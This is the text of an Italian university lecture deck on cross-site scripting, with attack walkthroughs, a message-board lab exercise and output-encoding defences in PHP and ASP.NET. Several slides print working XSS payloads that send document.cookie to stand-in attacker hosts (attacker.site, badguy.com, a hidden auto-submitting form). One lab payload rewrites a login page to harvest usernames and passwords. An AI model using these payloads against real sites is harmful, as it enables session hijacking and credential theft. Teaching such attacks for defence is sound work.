UNIVERSITÀ DI PERUGIA DIPARTIMENTO DI MATEMATICA E INFORMATICA Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Cross Site Scripting Prof. Stefano Bistarelli Università “G. d’Annunzio” Dipartimento di Scienze, Pescara C Consiglio Nazionale delle Ricerche Iit Istituto di Informatica e Telematica - Pisa Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Cos'è il CSS? Una tecnica che consente agli hacker di: Eseguire script dannoso nel browser Web di un client Inserire tag <script>, <object>, <applet>, <form> e <embed> Rubare informazioni sulla sessione Web e cookie di autenticazione Accedere al computer client Qualsiasi pagina Web che esegue il rendering HTML e contenente input dell'utente è vulnerabile S. Bistarelli - Metodologie di Secure Programming 2 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione A.4: Principi di Cross-Site-Scripting (XSS) [7] utilizzo del token rubato per autenticarsi al servizio [1] Richiesta Internet Attacker [2] Risposta [3] Invio malicious code mascherato da informativa della banca [6] DataBase Web server App. server www.my-banca.it Internet [4] www.mybanca.it/VulnApp.jsp?e=<script “malizioso”> WebApp vulnerabile al XSS user [6] Invio di token di autenticazione all’attaccante [5] Risposta: pagina voluta dall’attaccante eseguita sul browser dell’utente S. Bistarelli - Metodologie di Secure Programming 3 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione A.4: Cross-Site-Scripting (2) GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.my-banca.it ... La risposta del sito vulnerabile sarà la seguente (interpretata sul browser dell’utente ignaro): <HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> S. Bistarelli - Metodologie di Secure Programming 4 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione A.4: Cross-Site-Scripting (3) Il malicious link può essere: http://www.mybanca.it/welcome.cgi?name=<script>window.open(“http://www.attacker.site/collect.cgi ?cookie=”%2Bdocument.cookie)</script> La risposta del server sarà: <HTML> <Title>Welcome!</Title> Hi <script>window.open(“http://www.attacker.site/collect.cgi?cookie=”+document.cookie) </script> <BR>Welcome to our system ... </HTML> Redirezione del contenuto del cookie dell’utente ignaro verso il server dell’attaccante S. Bistarelli - Metodologie di Secure Programming 5 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Due impieghi comuni del CSS Attaccare le piattaforme di posta elettronica basate sul Web e i forum Utilizzo dei tag <form> HTML per reindirizzare informazioni private S. Bistarelli - Metodologie di Secure Programming 6 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName")) S. Bistarelli - Metodologie di Secure Programming 7 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Site soggetti a XSS/CSS Vediamo l’esempio http://localhost/CrossScripting/Login.aspx S. Bistarelli - Metodologie di Secure Programming 8 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Proviamo.. Iniettiamo codice e vediamo che succede … <script>alert(‘ciao’)</script> <script>alert(document.cookie)</script> Script eseguito sul mio browser … Ma come faccio io attaccante che non sono su macchina del client .. a prendermi il cookie?? …cerco il campo di input … txtname S. Bistarelli - Metodologie di Secure Programming 9 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione E se chiamo la pagina cosi’? http://localhost/CrossScripting/Login.aspx?txt name=<script>alert('ciao')</script> Funziona lo stesso!! Quindi se mando link a Maria e lei clicca esegue sul suo browser (credendo di andare al suo sito) il mio script!! S. Bistarelli - Metodologie di Secure Programming 10 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Attacchi basati su form (1 di 2) Response.Write("Welcome" & Request.QueryString("UserName")) S. Bistarelli - Metodologie di Secure Programming 11 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione … Ma come faccio io attaccante ad avere le info sul mio sito e non sullo schermo di Maria?? S. Bistarelli - Metodologie di Secure Programming 12 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Attacchi basati su form (2 di 2) <a href=http://www.contoso.msft/welcome.asp?name= <FORM action=http://www. nwtraders.msft/data.asp method=post id=“idForm”> <INPUT name=“cookie” type=“hidden”> </FORM> <SCRIPT> idForm.cookie.value=document.cookie; idForm.submit(); </SCRIPT> > hereS. Bistarelli - Metodologie di Secure </a> Programming 13 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione <script> window.onload = function() { document.forms[0].onsubmit = function () { return Hack() } } function Hack() { var action="http://localhost/Hack/Hack.asp"; document.forms[0].action=action;document.forms[0].method="GET"; return true; } </script> S. Bistarelli - Metodologie di Secure Programming 14 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione In generale … Se ho input di questo tipo: http://victim.com/search.php ? term = apple search.php responds with: <HTML> <TITLE> Search Results </TITLE> <BODY> Results for <?php echo $_GET[term] ?> : ... </BODY> </HTML> S. Bistarelli - Metodologie di Secure Programming 15 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Posso usarlo cosi!! http://victim.com/search.php ? term = <script> window.open( “http://badguy.com?cookie = ” + document.cookie ) </script> Se la mia vittima clicca su questo link? Browser va a victim.com/search.php Victim.com restituisce <HTML> Results for <script> … </script> Browser executes script: Sends badguy.com cookie for victim.com S. Bistarelli - Metodologie di Secure Programming 16 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione So what? Perche’ un utente dovrebbe cliccare su quel link? Phishing email in webmail client (e.g. gmail). Link in doubleclick banner ad … many many ways to fool user into clicking Vedi esempio mail poste.it!! Cosa ci fa badguy.com con il cookie di victim.com ? Puo’ essere usato per spacciarsi per quell’utente per esempio!! (vedi lezione su cookies!!) S. Bistarelli - Metodologie di Secure Programming 17 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Even worse Attacker can execute arbitrary scripts in browser Can manipulate any DOM component on victim.com Control links on page Control form fields (e.g. password field) on this page and linked pages. Can infect other users: MySpace.com worm. S. Bistarelli - Metodologie di Secure Programming 18 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Difesa … S. Bistarelli - Metodologie di Secure Programming 19 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Avoiding XSS bugs (PHP) Main problem: Input checking is difficult --- many ways to inject scripts into HTML. Preprocess input from user before echoing it PHP: htmlspecialchars(string) & & " " ' ' < < > > htmlspecialchars( "<a href='test'>Test</a>", ENT_QUOTES); Outputs: <a href='test'>Test</a> S. Bistarelli - Metodologie di Secure Programming 20 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Avoiding XSS bugs (ASP.NET) ASP.NET 1.1: Server.HtmlEncode(string) Similar to PHP htmlspecialchars validateRequest: (on by default) Crashes page if finds <script> in POST data. Looks for hardcoded list of patterns. Can be disabled: <%@ Page validateRequest=“false" %> S. Bistarelli - Metodologie di Secure Programming 21 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione S. Bistarelli - Metodologie di Secure Programming 22 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Esercizio lab S. Bistarelli - Metodologie di Secure Programming 23 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione esercizio In this scenario, you have a web application that supports both anonymous and authenticated users, the latter of which are authenticated using ASP.NET Forms logon. The application is a message board which allows any user to post a message that all others can read. S. Bistarelli - Metodologie di Secure Programming 24 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Giochiamo con l’applicazione 2 utenti registrati (hard coded (no db)) Entriamo come alice e inviamo un messaggio alice – password bob – password NO HTML Ora entriamo come black hat (anonimo) e vediamo se supporta XSS Si!! S. Bistarelli - Metodologie di Secure Programming 25 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Postiamo questo codice!! <h2>Wow, this site has a nasty XSS vulnerability!</h2> <input type='button' value='Click me for a laugh!' onclick='changePersonality()'/> <h2>I wonder if I can see your cookie with this script?</h2> <input type='button' value='Click to see your cookie!' onclick='alert(document.cookie)'/> <h2>Hey, would you post your cookie to my website please?</h2> <input type='button' value='Click to POST your cookie!' onclick='alert("Just kidding, but keep in mind that a real attacker would not ask before doing this!")'/> <script> function changePersonality() { var image = document.images[0] if (image.src.match('google')) { // switch back to Fabrikam image.src = 'art/Fabrikam.gif'; } else { // switch to Google image.src = 'http://www.google.com/intl/en/images/logo.gif'; } } </script> S. Bistarelli - Metodologie di Secure Programming 26 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Ora immaginiamo .. Che alice entri e veda il codice … Alice non lo sa ma: Attaccante ha controllo completo della pagina (vedi come cambia immagine) Attaccante puo’ rubare informazioni da alice (o meglio per ora le visualizza e basta, ma potrebbe facilmente reindirizzarle (ricordatevi esempi precedenti) Visualizza cookies S. Bistarelli - Metodologie di Secure Programming 27 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Difesa Usare htmlencode su testo output! text = Server.HtmlEncode(r.ReadToEnd()); Filtra input // filter the input using a whitelist - look for what is good! string pattern = @"^[-\s\w\d.,!@#%&?*()+=|{}[\]:;/^$\\""']*$"; if (!Regex.IsMatch(text, pattern, RegexOptions.Multiline)) { string errorMessage = "Your post has one or more disallowed " + "characters (no HTML, please)."; Response.Redirect(@"~\error.aspx?msg=" + Server.UrlEncode(errorMessage)); return; } Sembra tutto a posto ora?? E invece no chi sa perchè? S. Bistarelli - Metodologie di Secure Programming 28 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione XSS su error page Error chiamata con un parametro di input!! Proviamo a cambiare input! “ciao a tutti” funziona!! Posso modificare la pagina come voglio!! Phishing attack!! lab-css\CrossSiteScripting\before\XSSWeb\phishing_email.htm Il link nella pagina porta alla pagina di errore opportunamente modificata!! http://localhost:4536/XSSWeb/phishing_email.htm S. Bistarelli - Metodologie di Secure Programming 29 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Ecco il messaggio per la pag di errore var html = "Please log in. You will be automatically registered for a free gift!" + "<script>" + "var u, p;" + "function myLogon() {" + "u = document.getElementById('ctl00$LoginView1$Login1$UserName').value;" + "p = document.getElementById('ctl00$LoginView1$Login1$Password').value;" + "}" + "function thanks() { " + "var msg = 'Your gift will be shipped within 7 business days. Thanks again for your loyalty! " + "Oh and by the way, I learned something about you today. " + "Your user name is: ' %2B u %2B ' and your password is: ' %2B p;" + "document.getElementById('ctl00_MainBody_message').innerText=msg;" + "}" + "document.getElementById('ctl00_lblFormTitle').lastChild.nodeValue='Loyalty Gift';" + "document.getElementById('ctl00_lblPageTitle').lastChild.nodeValue='Loyalty Gift';" + "document.getElementById('ctl00$LoginView1$Login1$LoginButton').onclick = myLogon;" + "document.forms[0].action = 'javascript:thanks()';" + "<\/script>"; S. Bistarelli - Metodologie di Secure Programming 30 Master di I° livello in Sistemi e Tecnologie per la sicurezza dell'Informazione e della Comunicazione Fix la pagina error! Su error page Htmlencode input message.Text = Server.HtmlEncode(Request.QueryString["msg"]); Nota su web.config <pages validateRequest="false"/> true S. Bistarelli - Metodologie di Secure Programming 31